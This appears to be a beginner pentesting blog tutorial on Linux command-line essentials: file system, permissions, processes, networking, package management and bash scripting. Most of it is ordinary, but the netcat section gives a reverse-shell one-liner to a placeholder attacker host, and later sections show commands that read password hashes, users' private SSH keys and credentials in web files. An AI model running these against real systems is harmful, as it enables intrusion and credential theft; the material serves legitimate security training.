Skip to content
SecureKhan
Go back

Linux Fundamentals for Pentesters: Command Line Essentials

Linux is the operating system of choice for penetration testers. Kali Linux, Parrot OS, and most security tools are built for Linux. Before you can run nmap, Burp Suite, or any pentesting tool effectively, you need to be comfortable with the command line.

This is Part 0 of the pentesting series - start here if you’re new to Linux.


Quick Reference

Essential Commands

TaskCommand
Where am I?pwd
List filesls -la
Change directorycd /path/to/dir
Go homecd ~ or cd
Go backcd ..
Create directorymkdir dirname
Create filetouch filename
Copy filecp source dest
Move/renamemv source dest
Delete filerm filename
Delete directoryrm -rf dirname
View filecat filename
Search in filesgrep "pattern" file
Find filesfind /path -name "*.txt"
Current userwhoami
Switch usersu - username
Run as rootsudo command
File permissionschmod 755 file
Change ownerchown user:group file
Download filewget URL or curl -O URL
Show processesps aux
Kill processkill -9 PID

Keyboard Shortcuts

ShortcutAction
Ctrl+CKill current process
Ctrl+ZSuspend process (background)
Ctrl+DExit shell / EOF
Ctrl+LClear screen
Ctrl+RSearch command history
Ctrl+AGo to line start
Ctrl+EGo to line end
TabAuto-complete
/ Previous/next command

File System Cheat Sheet

DirectoryPurposePentester Interest
/Root of filesystemEverything starts here
/homeUser home directoriesUser files, SSH keys, history
/rootRoot user’s homeHigh-value target
/etcConfiguration filespasswd, shadow, hosts, cron
/varVariable dataLogs, web files, databases
/tmpTemporary filesWorld-writable, good for staging
/optOptional softwareThird-party apps
/bin, /sbinEssential binariesSystem commands
/usrUser programsMost installed software
/devDevice files/dev/null, /dev/tcp
/procProcess informationRunning process details

1. Why Linux for Pentesting

TL;DR: Most pentesting tools are built for Linux. Kali Linux comes pre-loaded with 600+ security tools. The command line gives you power and flexibility that GUIs can’t match.

Pentesting Distributions

DistroDescriptionBest For
Kali LinuxMost popular, 600+ toolsGeneral pentesting
Parrot OSLightweight, privacy-focusedEveryday use + pentesting
BlackArchArch-based, 2800+ toolsAdvanced users
Commando VMWindows-basedWindows environments

Why Command Line?


2. The Linux File System

TL;DR: Everything in Linux is a file - even devices and processes. Understanding the directory structure helps you find valuable data during assessments.

Directory Structure

/
├── bin/        Essential user commands (ls, cp, cat)
├── boot/       Boot loader files
├── dev/        Device files
├── etc/        System configuration files ← IMPORTANT
│   ├── passwd      User accounts
│   ├── shadow      Password hashes (root only)
│   ├── hosts       Local DNS
│   ├── crontab     Scheduled tasks
│   └── ssh/        SSH configuration
├── home/       User home directories ← CHECK THESE
│   └── user/
│       ├── .bash_history    Command history
│       ├── .ssh/            SSH keys
│       └── Documents/
├── opt/        Third-party applications
├── proc/       Process information (virtual)
├── root/       Root user's home ← HIGH VALUE
├── tmp/        Temporary files (world-writable)
├── usr/        User programs and data
│   ├── bin/        User commands
│   ├── local/      Locally installed software
│   └── share/      Shared data
└── var/        Variable data
    ├── log/        System logs ← CHECK THESE
    ├── www/        Web server files
    └── mail/       Email storage

Everything is a File

In Linux, everything is represented as a file:

Files Pentesters Always Check

FileContainsWhy It Matters
/etc/passwdUser accountsEnumerate users
/etc/shadowPassword hashesCrack passwords (need root)
/etc/hostsLocal DNSInternal hostnames
/etc/crontabScheduled tasksPrivilege escalation
~/.bash_historyCommand historyFind credentials, commands
~/.ssh/id_rsaSSH private keyAccess other systems
/var/log/auth.logAuth logsSee login attempts
/var/www/html/Web filesWeb app source code

3. Essential Commands

TL;DR: Master these commands and you’ll navigate any Linux system with confidence.

# Print working directory (where am I?)
pwd
# Output: /home/kali

# List files
ls          # Basic list
ls -l       # Long format (permissions, size, date)
ls -la      # Include hidden files (starting with .)
ls -lah     # Human-readable sizes

# Change directory
cd /etc             # Absolute path
cd Documents        # Relative path
cd ..               # Go up one level
cd ../..            # Go up two levels
cd ~                # Go to home directory
cd -                # Go to previous directory

File Operations

# Create files and directories
touch newfile.txt           # Create empty file
mkdir newdir                # Create directory
mkdir -p path/to/deep/dir   # Create nested directories

# Copy
cp file.txt backup.txt              # Copy file
cp -r directory/ backup/            # Copy directory recursively

# Move/Rename
mv file.txt newname.txt             # Rename
mv file.txt /path/to/destination/   # Move

# Delete (BE CAREFUL!)
rm file.txt                 # Delete file
rm -r directory/            # Delete directory
rm -rf directory/           # Force delete (no prompts)
# WARNING: rm -rf / will destroy your system!

Viewing Files

# View entire file
cat file.txt

# View with line numbers
cat -n file.txt

# View long files (scrollable)
less file.txt       # Use q to quit, / to search
more file.txt       # Older, less features

# View beginning/end
head file.txt       # First 10 lines
head -n 20 file.txt # First 20 lines
tail file.txt       # Last 10 lines
tail -n 20 file.txt # Last 20 lines
tail -f file.txt    # Follow file (live updates) - great for logs

Finding Things

# Find files by name
find / -name "password.txt"         # Exact name
find / -name "*.conf"               # Wildcard
find /home -name "*.txt" 2>/dev/null  # Suppress errors

# Find files by permissions
find / -perm -4000 2>/dev/null      # SUID files (privesc!)
find / -perm -2000 2>/dev/null      # SGID files
find / -writable 2>/dev/null        # Writable files

# Find files by owner
find / -user root -name "*.sh"      # Root's shell scripts

# Find files by time
find / -mtime -7                    # Modified in last 7 days
find / -atime -1                    # Accessed in last day

# Locate (faster, uses database)
locate password.txt
updatedb            # Update locate database (as root)

# Which (find command location)
which python
which nmap

# Whereis (find binary, source, manual)
whereis python

Text Processing (The Power Tools)

# grep - Search for patterns
grep "password" file.txt            # Find lines with "password"
grep -i "password" file.txt         # Case insensitive
grep -r "password" /etc/            # Recursive search
grep -v "comment" file.txt          # Invert (exclude matches)
grep -n "error" file.txt            # Show line numbers
grep -E "error|warning" file.txt    # Extended regex (OR)

# Pipe grep with other commands
cat /etc/passwd | grep "root"
ps aux | grep "apache"

# cut - Extract columns
cat /etc/passwd | cut -d: -f1       # Get usernames (field 1, delimiter :)
echo "a,b,c" | cut -d, -f2          # Get "b"

# awk - Powerful text processing
awk '{print $1}' file.txt           # Print first column
awk -F: '{print $1}' /etc/passwd    # Print usernames
awk '/pattern/ {print $0}' file    # Print matching lines

# sed - Stream editor
sed 's/old/new/g' file.txt          # Replace all occurrences
sed -n '5,10p' file.txt             # Print lines 5-10
sed '/pattern/d' file.txt           # Delete matching lines

# sort and uniq
sort file.txt                       # Sort lines
sort -u file.txt                    # Sort and remove duplicates
sort -n file.txt                    # Numeric sort
cat file.txt | sort | uniq -c       # Count occurrences

# wc - Word count
wc -l file.txt                      # Count lines
wc -w file.txt                      # Count words
cat file.txt | wc -l                # Count with pipe

Redirects and Pipes

# Output redirection
command > file.txt          # Write output to file (overwrite)
command >> file.txt         # Append to file
command 2> errors.txt       # Redirect errors
command > out.txt 2>&1      # Redirect both stdout and stderr
command &> all.txt          # Same as above (bash)

# Input redirection
command < input.txt         # Read input from file

# Pipes - Connect commands
cat file.txt | grep "error" | wc -l     # Count error lines
ps aux | grep apache | awk '{print $2}' # Get Apache PIDs

# Useful combinations
find / -name "*.conf" 2>/dev/null | head -20
cat /etc/passwd | cut -d: -f1 | sort
grep -r "password" /var/www 2>/dev/null | grep -v ".svn"

4. Users and Permissions

TL;DR: Linux is multi-user. Understanding permissions helps you find privilege escalation paths.

Users and Groups

# Current user
whoami
id                      # Detailed user/group info

# List all users
cat /etc/passwd
cat /etc/passwd | cut -d: -f1

# List all groups
cat /etc/group

# User info
id username
groups username

# Switch user
su - username           # Switch to user (need password)
su -                    # Switch to root
sudo -i                 # Get root shell (if allowed)
sudo command            # Run single command as root

Understanding /etc/passwd

root:x:0:0:root:/root:/bin/bash
│    │ │ │ │     │     └── Login shell
│    │ │ │ │     └── Home directory
│    │ │ │ └── Comment (usually full name)
│    │ │ └── Primary group ID
│    │ └── User ID (0 = root)
│    └── Password placeholder (x = in /etc/shadow)
└── Username

File Permissions

-rwxr-xr-x  1  root  root  4096  Jan 1 00:00  file.txt
│└┬┘└┬┘└┬┘     │     │
│ │  │  │      │     └── Group owner
│ │  │  │      └── User owner
│ │  │  └── Others permissions (r-x = read, execute)
│ │  └── Group permissions (r-x = read, execute)
│ └── User permissions (rwx = read, write, execute)
└── File type (- = file, d = directory, l = link)

Permission Values:

SymbolNumberMeaning
r4Read
w2Write
x1Execute

Common Combinations:

NumberPermissionsMeaning
755rwxr-xr-xOwner: full, Others: read+execute
644rw-r—r—Owner: read+write, Others: read
777rwxrwxrwxEveryone: full (dangerous!)
700rwx------Owner only
600rw-------Owner read+write only
# Change permissions
chmod 755 file.txt          # Using numbers
chmod +x script.sh          # Add execute
chmod -w file.txt           # Remove write
chmod u+x file.txt          # Add execute for user only

# Change owner
chown user file.txt         # Change user owner
chown user:group file.txt   # Change user and group
chown -R user:group dir/    # Recursive

Special Permissions (SUID/SGID)

SUID (Set User ID) - File executes as the file owner, not the user running it.

# Find SUID files (privilege escalation goldmine!)
find / -perm -4000 2>/dev/null

# Example: /usr/bin/passwd has SUID
ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 /usr/bin/passwd
#    ^-- 's' means SUID is set

SGID (Set Group ID) - File executes with group privileges.

# Find SGID files
find / -perm -2000 2>/dev/null

Why pentesters care: If you find a SUID binary owned by root that’s vulnerable (e.g., has a command injection), you can execute commands as root!


5. Process Management

TL;DR: Know what’s running, how to find it, and how to stop it.

Viewing Processes

# List all processes
ps aux
#  a = all users
#  u = user-oriented format
#  x = include processes without terminal

# Filter processes
ps aux | grep apache
ps aux | grep -v grep | grep apache  # Exclude grep itself

# Real-time process viewer
top                 # Basic
htop                # Better (install: apt install htop)

# Process tree
pstree

# Find process by name
pgrep apache        # Returns PID
pgrep -l apache     # Returns PID and name

Killing Processes

# Kill by PID
kill 1234           # Graceful termination (SIGTERM)
kill -9 1234        # Force kill (SIGKILL)

# Kill by name
pkill apache
killall apache

# Kill all user's processes
pkill -u username

Background Processes

# Run in background
command &

# Suspend current process
Ctrl+Z

# Resume in background
bg

# Resume in foreground
fg

# List background jobs
jobs

# Run command immune to hangups
nohup command &
nohup command > output.log 2>&1 &

Services (systemd)

# Service status
systemctl status apache2
systemctl status ssh

# Start/stop/restart
sudo systemctl start apache2
sudo systemctl stop apache2
sudo systemctl restart apache2

# Enable/disable at boot
sudo systemctl enable ssh
sudo systemctl disable apache2

# List all services
systemctl list-units --type=service
systemctl list-units --type=service --state=running

6. Networking Commands

TL;DR: These commands are essential for network reconnaissance and debugging.

Network Configuration

# Show IP addresses
ip addr
ip a                # Short form
ifconfig            # Old way (may need: apt install net-tools)

# Show routing table
ip route
route -n

# Show network connections
ss -tuln            # TCP/UDP listening ports
ss -tupn            # Include process names
netstat -tuln       # Old way
netstat -tupn

# DNS lookup
nslookup google.com
dig google.com
host google.com

Testing Connectivity

# Ping
ping -c 4 google.com        # 4 packets
ping -c 4 192.168.1.1

# Traceroute
traceroute google.com
traceroute -n google.com    # No DNS resolution (faster)

# Check if port is open
nc -zv 192.168.1.1 80       # Check port 80
nc -zv 192.168.1.1 20-100   # Check port range

Downloading and Transferring

# Download files
wget http://example.com/file.txt
wget -O output.txt http://example.com/file.txt

curl http://example.com/file.txt
curl -O http://example.com/file.txt    # Save with original name
curl -o output.txt http://example.com/file.txt

# curl for testing
curl -I http://example.com             # Headers only
curl -X POST http://example.com        # POST request
curl -d "data=value" http://example.com  # Send data

# Transfer with SCP
scp file.txt user@host:/path/          # Upload
scp user@host:/path/file.txt ./        # Download
scp -r directory/ user@host:/path/     # Recursive

# Transfer with netcat (no authentication!)
# Receiver:
nc -lvnp 4444 > received_file
# Sender:
nc target_ip 4444 < file_to_send

Netcat - The Swiss Army Knife

# Listen on port
nc -lvnp 4444

# Connect to port
nc 192.168.1.1 80

# Banner grabbing
echo "" | nc -v 192.168.1.1 22

# Simple chat
# Server: nc -lvnp 4444
# Client: nc server_ip 4444

# Reverse shell (on attacker)
nc -lvnp 4444
# On target: /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# Port scanning
nc -zv 192.168.1.1 1-1000 2>&1 | grep succeeded

7. Package Management

TL;DR: apt is your friend for installing tools on Debian/Kali/Ubuntu.

APT (Debian/Ubuntu/Kali)

# Update package lists
sudo apt update

# Upgrade installed packages
sudo apt upgrade

# Install package
sudo apt install nmap
sudo apt install -y nmap    # Auto-yes

# Remove package
sudo apt remove nmap
sudo apt purge nmap         # Remove with config files

# Search for packages
apt search nmap
apt-cache search vulnerability

# Show package info
apt show nmap

# List installed packages
apt list --installed
dpkg -l

# Clean up
sudo apt autoremove         # Remove unused dependencies
sudo apt clean              # Clear package cache

Installing Pentesting Tools

# Common tools (if not on Kali)
sudo apt install nmap
sudo apt install gobuster
sudo apt install nikto
sudo apt install sqlmap
sudo apt install john
sudo apt install hashcat
sudo apt install hydra
sudo apt install netcat-traditional
sudo apt install curl wget
sudo apt install git

# Install from GitHub
git clone https://github.com/tool/repo.git
cd repo
pip install -r requirements.txt  # If Python
./install.sh                      # If has installer

8. Text Editors

TL;DR: Learn nano for quick edits, know enough vim to exit it.

Nano (Beginner Friendly)

nano filename.txt

Nano shortcuts:

ShortcutAction
Ctrl+OSave (Write Out)
Ctrl+XExit
Ctrl+KCut line
Ctrl+UPaste
Ctrl+WSearch
Ctrl+GHelp

Vim (You’ll Encounter It)

vim filename.txt

Vim survival guide:

ModeHow to EnterPurpose
NormalEscNavigate, commands
InsertiType text
Command:Save, quit, search

Essential commands:

CommandAction
iEnter insert mode
EscReturn to normal mode
:wSave
:qQuit
:wqSave and quit
:q!Quit without saving
ddDelete line
yyCopy line
pPaste
/textSearch for “text”
nNext search result

The most important vim command:

:q!     # Quit without saving (escape hatch!)

9. Bash Scripting Basics

TL;DR: Automate repetitive tasks with simple scripts.

Your First Script

#!/bin/bash
# This is a comment
echo "Hello, Pentester!"
# Save as hello.sh, then:
chmod +x hello.sh
./hello.sh

Variables

#!/bin/bash

# Variables (no spaces around =)
name="Kali"
ip="192.168.1.1"

# Using variables
echo "System: $name"
echo "Target: $ip"

# Command output in variable
current_user=$(whoami)
echo "Running as: $current_user"

# Arguments
echo "Script name: $0"
echo "First argument: $1"
echo "All arguments: $@"
echo "Number of arguments: $#"

Conditionals

#!/bin/bash

# If statement
if [ -f "/etc/passwd" ]; then
    echo "File exists"
else
    echo "File not found"
fi

# Check if root
if [ "$EUID" -eq 0 ]; then
    echo "Running as root"
else
    echo "Not root"
fi

# Compare strings
if [ "$1" == "scan" ]; then
    echo "Starting scan..."
fi

# Compare numbers
if [ $# -lt 1 ]; then
    echo "Usage: $0 <target>"
    exit 1
fi

Test operators:

OperatorMeaning
-f fileFile exists
-d dirDirectory exists
-r fileFile is readable
-w fileFile is writable
-x fileFile is executable
-z stringString is empty
-n stringString is not empty
$a -eq $bNumbers equal
$a -ne $bNumbers not equal
$a -lt $bLess than
$a -gt $bGreater than

Loops

#!/bin/bash

# For loop - list
for port in 21 22 80 443; do
    echo "Checking port $port"
done

# For loop - range
for i in {1..10}; do
    echo "Number: $i"
done

# For loop - command output
for user in $(cat users.txt); do
    echo "User: $user"
done

# For loop - files
for file in *.txt; do
    echo "Processing: $file"
done

# While loop
count=1
while [ $count -le 5 ]; do
    echo "Count: $count"
    ((count++))
done

# Read file line by line
while read line; do
    echo "Line: $line"
done < file.txt

Practical Example: Simple Port Scanner

#!/bin/bash

# Simple port scanner
# Usage: ./portscan.sh <target> [start_port] [end_port]

target=$1
start=${2:-1}
end=${3:-1000}

if [ -z "$target" ]; then
    echo "Usage: $0 <target> [start_port] [end_port]"
    exit 1
fi

echo "Scanning $target from port $start to $end"

for port in $(seq $start $end); do
    timeout 1 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && \
        echo "Port $port is open"
done

Practical Example: User Enumeration

#!/bin/bash

# Enumerate users from /etc/passwd
echo "=== System Users ==="
echo ""

while IFS=: read -r username password uid gid info home shell; do
    # Skip system users (UID < 1000) except root
    if [ "$uid" -ge 1000 ] || [ "$uid" -eq 0 ]; then
        echo "User: $username"
        echo "  UID: $uid"
        echo "  Home: $home"
        echo "  Shell: $shell"
        echo ""
    fi
done < /etc/passwd

10. Important Files for Pentesters

TL;DR: Know where to look for credentials, configurations, and valuable data.

User Information

# User accounts
cat /etc/passwd

# Password hashes (need root)
cat /etc/shadow

# Group memberships
cat /etc/group

# Sudoers
cat /etc/sudoers
sudo -l                     # What can current user sudo?

History and Logs

# Command history
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null

# Auth logs
cat /var/log/auth.log       # Debian/Ubuntu
cat /var/log/secure         # RHEL/CentOS

# System logs
cat /var/log/syslog
cat /var/log/messages

SSH Keys

# Private keys (VALUABLE!)
cat ~/.ssh/id_rsa
cat /home/*/.ssh/id_rsa 2>/dev/null
cat /root/.ssh/id_rsa

# Authorized keys (who can login?)
cat ~/.ssh/authorized_keys

# Known hosts
cat ~/.ssh/known_hosts

Scheduled Tasks (Cron)

# System crontab
cat /etc/crontab

# User crontabs
ls -la /var/spool/cron/crontabs/
crontab -l                  # Current user's crontab

# Cron directories
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/

Network Configuration

# Hosts file
cat /etc/hosts

# DNS servers
cat /etc/resolv.conf

# Network interfaces
cat /etc/network/interfaces

# Hostname
cat /etc/hostname
hostname

Web Server Files

# Apache
cat /etc/apache2/apache2.conf
cat /etc/apache2/sites-enabled/*
ls -la /var/www/html/

# Nginx
cat /etc/nginx/nginx.conf
cat /etc/nginx/sites-enabled/*

# Web application configs often contain DB credentials
grep -r "password" /var/www/ 2>/dev/null
grep -r "db_pass" /var/www/ 2>/dev/null

11. Setting Up Your Environment

TL;DR: Get Kali Linux running and customize it for productivity.

Installation Options

MethodProsCons
Virtual MachineSafe, snapshots, easySlower, less hardware access
Dual BootFull performanceRisk to main OS, reboot needed
WSL2Convenient on WindowsLimited, no GUI tools by default
Live USBPortable, no installNo persistence (usually)

Virtual Machine Setup

# 1. Download Kali from https://www.kali.org/get-kali/
# 2. Install VirtualBox or VMware
# 3. Create VM with:
#    - 4GB+ RAM
#    - 50GB+ disk
#    - 2+ CPU cores
# 4. Install Kali from ISO

First Steps After Install

# Update everything
sudo apt update && sudo apt upgrade -y

# Change default password (if using default 'kali/kali')
passwd

# Install additional tools
sudo apt install -y terminator   # Better terminal
sudo apt install -y vim
sudo apt install -y git
sudo apt install -y python3-pip

# Set up directory structure
mkdir -p ~/pentesting/{recon,exploits,loot,scripts,reports}

Useful Aliases

Add to ~/.bashrc:

# Navigation
alias ..='cd ..'
alias ...='cd ../..'
alias ll='ls -la'

# Safety
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Pentesting
alias serve='python3 -m http.server 8000'
alias myip='curl ifconfig.me'
alias ports='netstat -tulanp'
alias listen='nc -lvnp'

# Apply changes
source ~/.bashrc

12. Practice Exercises

TL;DR: Practice makes perfect. These resources will solidify your Linux skills.

OverTheWire Bandit

The best way to learn Linux for security:

# Start here:
ssh bandit0@bandit.labs.overthewire.org -p 2220
# Password: bandit0

TryHackMe Rooms

RoomFocus
Linux Fundamentals Part 1Basics
Linux Fundamentals Part 2Operators, permissions
Linux Fundamentals Part 3Advanced
Bash ScriptingAutomation

Self-Practice

# Create a practice environment:
mkdir -p ~/linux-practice
cd ~/linux-practice

# Create test files
for i in {1..10}; do echo "Content $i" > file$i.txt; done
mkdir -p subdir/another

# Now practice:
# - Finding files
# - Grep patterns
# - Permissions
# - Scripting

13. Glossary

TermDefinition
bashBourne Again Shell - the default Linux shell
CLICommand Line Interface
cronTask scheduler daemon
daemonBackground service process
distroLinux distribution (Kali, Ubuntu, etc.)
grepSearch tool for patterns in text
kernelCore of the operating system
PIDProcess ID
pipe`
redirect> >> < - direct input/output
rootAdministrator account (UID 0)
SGIDSet Group ID permission bit
shellCommand interpreter (bash, zsh, sh)
SUIDSet User ID permission bit
sudoExecute command as another user (usually root)
terminalText-based interface to the shell
TTYTerminal device

What’s Next?

Now that you’re comfortable with Linux, continue with:

  1. Web Basics for Pentesters - Understand HTML, JS, cookies, and headers
  2. Network Fundamentals - TCP/IP, ports, protocols
  3. Linux Privilege Escalation - Escalate from user to root

Questions or feedback? Open an issue on GitHub.


Share this post on:

Previous Post
Welcome to SecureKhan